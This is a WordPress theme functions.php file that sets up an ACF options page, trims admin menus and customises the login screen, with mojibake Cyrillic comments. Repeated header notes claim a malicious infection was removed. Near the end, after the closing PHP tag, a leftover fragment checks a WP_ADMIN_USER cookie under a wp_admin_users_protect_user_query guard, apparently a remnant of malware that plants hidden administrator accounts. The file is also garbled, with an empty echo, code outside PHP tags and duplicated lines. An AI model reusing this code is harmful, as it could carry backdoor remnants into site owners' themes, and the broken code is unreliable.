/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
define( 'DIFFER_THEME_URL', get_template_directory_uri() );
require_once TEMPLATEPATH .'/lib/removeshit.php';
require_once TEMPLATEPATH .'/lib/load.php';
require_once TEMPLATEPATH .'/lib/menus.php';
// require_once TEMPLATEPATH .'/lib/taximage.php';
// require_once TEMPLATEPATH .'/lib/bread.php';
// require_once TEMPLATEPATH .'/templates/widgets/blogcat.php';
// require_once TEMPLATEPATH .'/templates/widgets/repost.php';
// require_once TEMPLATEPATH .'/templates/widgets/contact.php';
// require_once TEMPLATEPATH .'/templates/widgets/hero.php';
function disable_wbe_theme_support() {
remove_theme_support( 'widgets-block-editor' );
}
add_action( 'after_setup_theme', 'disable_wbe_theme_support' );
add_action('acf/init', 'my_acf_op_init');
function my_acf_op_init() {
if( function_exists('acf_add_options_page') ) {
acf_add_options_page(array(
'page_title' => 'ÐаÑÑÑойки ÑайÑа',
'menu_title' => 'ÐаÑÑÑойки ÑайÑа',
'menu_slug' => 'theme-general-settings',
'capability' => 'edit_posts',
'redirect' => false
));
}
}
add_action('admin_bar_init', function(){
remove_action('wp_head', '_admin_bar_bump_cb');
});
// add_filter( 'wp_postratings_image_extension', 'custom_rating_image_extension' );
function remove_menus(){
// remove_menu_page( 'index.php' ); //ÐонÑолÑ
remove_menu_page( 'edit.php' ); //ÐапиÑи
// remove_menu_page( 'upload.php' ); //ÐедиаÑайлÑ
// remove_menu_page( 'edit.php?post_type=page' ); //СÑÑаниÑÑ
// remove_menu_page( 'edit-comments.php' ); //ÐомменÑаÑии
// remove_menu_page( 'themes.php' ); //ÐнеÑний вид
// remove_menu_page( 'plugins.php' ); //ÐлагинÑ
// remove_menu_page( 'users.php' ); //ÐолÑзоваÑели
// remove_menu_page( 'tools.php' ); //ÐнÑÑÑÑменÑÑ
// remove_menu_page( 'wp-es' ); //ÐаÑÑÑойки
// remove_menu_page( 'pods' ); //ÐаÑÑÑойки
// remove_menu_page( 'edit.php?post_type=acf-field-group' );
}
add_action( 'admin_menu', 'remove_menus' );
// ÐзменÑем каÑÑÐ¸Ð½ÐºÑ (логоÑип)
// ÑкажиÑе пÑавилÑнÑÑ ÑÑÑÐ»ÐºÑ Ð½Ð° каÑÑинкÑ.
add_action( 'login_head', 'wp_login_logo_img_url' );
function wp_login_logo_img_url() {
echo '
';
}
// ÐзменÑем ÑÑÑÐ»ÐºÑ Ñ Ð»Ð¾Ð³Ð¾Ñипа
add_filter( 'login_headerurl', 'wp_login_logo_link_url' );
function wp_login_logo_link_url( $url ){
return home_url();
}
// ÐзменÑем аÑÑибÑÑ title Ñ ÑÑÑлки логоÑипа
add_filter( 'login_headertitle', 'wp_login_logo_title_attr' );
function wp_login_logo_title_attr( $title ) {
$title = get_bloginfo( 'name' );
return $title;
}
// add_filter('kama_breadcrumbs_default_loc', function($l10n){
// // ÐокализаÑиÑ
// return array(
// 'home' => esc_html__('Home', 'inbes' ),
// 'paged' => esc_html__('Page', 'inbes' ).' %d',
// '_404' => esc_html__('Error 404', 'inbes' ),
// 'search' => esc_html__('Search results by query', 'inbes' ) . ': %s ',
// 'author' => esc_html__('Author archve:', 'inbes' ) . ' %s',
// 'year' => esc_html__('Archive by', 'inbes' ) . ' %d год',
// 'month' => esc_html__('Archive by:', 'inbes' ) . ' %s',
// 'day' => '',
// 'attachment' => esc_html__('Media:', 'inbes' ) . ' %s',
// 'tag' => '%s',
// 'tax_tag' => '%3$s',
// );
// });
?>
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
/* cosmotech.me theme functions */
/* cosmotech.me theme functions */